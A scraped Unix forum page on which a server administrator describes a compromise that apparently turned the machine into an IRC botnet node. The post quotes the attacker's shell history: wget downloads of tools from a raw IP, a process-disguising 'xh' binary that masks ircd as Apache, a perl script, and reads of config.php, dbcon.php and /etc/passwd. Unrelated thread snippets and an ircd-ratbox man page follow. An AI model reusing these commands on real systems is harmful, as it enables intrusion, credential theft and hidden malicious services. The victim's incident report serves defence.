@Corona.
If it means about full backup of each domain in /home, no I didnt make any backup. Disk space is limited and no additional disk. Last option maybey I should request OS restore to the hosting provider(?).
I was doing deep analyze of this attack for several days, and I guess my server has been turned to be one of botnet in the internet for several months or maybey in a year.
One thing that makes me confuse. I have locked the domain account that might be has been compromised, after doing the procedures above, how can the attacker create multiple processes and open port 6667,7000 with that locked account name and established connection to xxx.IRC.dal.net?
@Neo.
Thanks for your suggestion. I'll learn about that tripwire technique.
But, do you have any idea about how the attacker compromised my server?
# Additional information.
Here I give part of command history left by the attacker in last days.
Code:
pwd
history
cd /data/PEAR
ls -al
rm -rf bahamut-1.8.9
wget http://193.180.115.30/~online/tools/bahamut-1.8.9-release.tar.gz ;
tar -zxvf bahamut-1.8.9-release.tar.gz ;
rm -f bahamut-1.8.9-release.$
ls -al //ircd/template.conf
mkdir ircd
pwd
cd ..
mkdir ircd
cd ircd
cp /ircd/* .
ls -al
ls -al /ircd
rm -rf /ircd
ls -al
exit
cd /data/PEAR/ircd
save
hostname ; /sbin/ifconfig | grep inet
pwd
pico ircd.conf
ls -al
wget http://193.180.115.30/~online/tools/xh ; chmod +x xh ; ls -alF xh
ps aux
./xh -s "/usr/local/apache/bin/httpd -k start -DSSL" ./ircd
cd ..
pwd
id
exit
And here the another part of command.
Code:
cd $home
ls -al
cd public_html
ls -al
cat config.php
cat dbcon.php
cat /etc/passwd
wget http://193.180.115.30/~online/ftp ; ls -alF ftp*
perl ftp
rm -f ftp ftp.txt
exit
/* Linux Slackware */
looking in my logs I see tons of entries similar to below. Does anyone know what these mean, and should I be concerned. I looked up a few of the IP's at Arin.net and saw that many of them belong to isp's (not good).. Any information is helpful..
Body of Messages log... (1 Reply)
Hello!
I have a Linux nfs server (called server100 below) with a export nfs. My problem is that the Solaris client (called client100 below) doesn't seems to like it. In the Solaris syslog I got following messages (and after a while the solaris client behave liked its hanged/to buzy). Also see... (3 Replies)
Hi All,
I need your expertise in finding a way to solve my problem.Please excuse if this is not the right forum to ask this question and guide me to the correct forum,if possible.
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Dear Friends,
Sorry for this basic request. But I just started learning Ksh recently and still I am a newbie in this field.
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Hi everyone,
I hope I am posting in the right spot and I really need some help. I am going through a horrible divorce and I am afraid that my husband has compromised . He set up my mac computer and router and for my job set up remote access for me. I caught him cheating on me and I think he... (6 Replies)
Discussion started by: kk243665
6 Replies
LEARN ABOUT DEBIAN
ircd-ratbox
IRCD-RATBOX(8) System Administration Commands IRCD-RATBOX(8)NAME
ircd-ratbox - Advanced, stable and fast ircd
SYNOPSIS
ircd-ratbox [-help | -version]
ircd-ratbox [-basedir BASEDIR] [-configfile CONFFILE] [-logfile LOGFILE] [-pidfile PIDFILE] [-foreground] [-conftest]
DESCRIPTION
ircd-ratbox is the main ircd daemon responsible for running the IRC server. It delegates specific tasks to several other daemons: resolver,
ssld, bandb.
OPTIONS -help
Show summary of options.
-version
Display version information.
-basedir BASEDIR
Before starting the server, enter BASEDIR directory (chdir).
-configfile CONFFILE
Set configuration file (defaults to /etc/ircd-ratbox/ircd.conf).
-logfile LOGFILE
Set main log path (defaults to /var/log/ircd-ratbox/ircd.log).
-pidfile PIDFILE
Set file used to store main daemon PID (defaults to /etc/ircd-ratbox/ircd.pid).
-foreground
Don't detach process in the background.
-conftest
Check configuration and exit.
AUTHOR
Marc `Duck` Dequenes <Duck@DuckCorp.org>
Original author.
COPYRIGHT
Copyright (C) 2011 Marc Dequenes (Duck)
This manual page was written for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify
this document under the terms of the GNU General Public License, Version 3 or any later version published by the Free Software Foundation.
On Debian systems, the complete text of the GNU General Public License version 3 can be found in /usr/share/common-licenses/GPL-3.
ircd ratbox 2011-11-07 IRCD-RATBOX(8)
01-16-2013
Need deep technical explanations
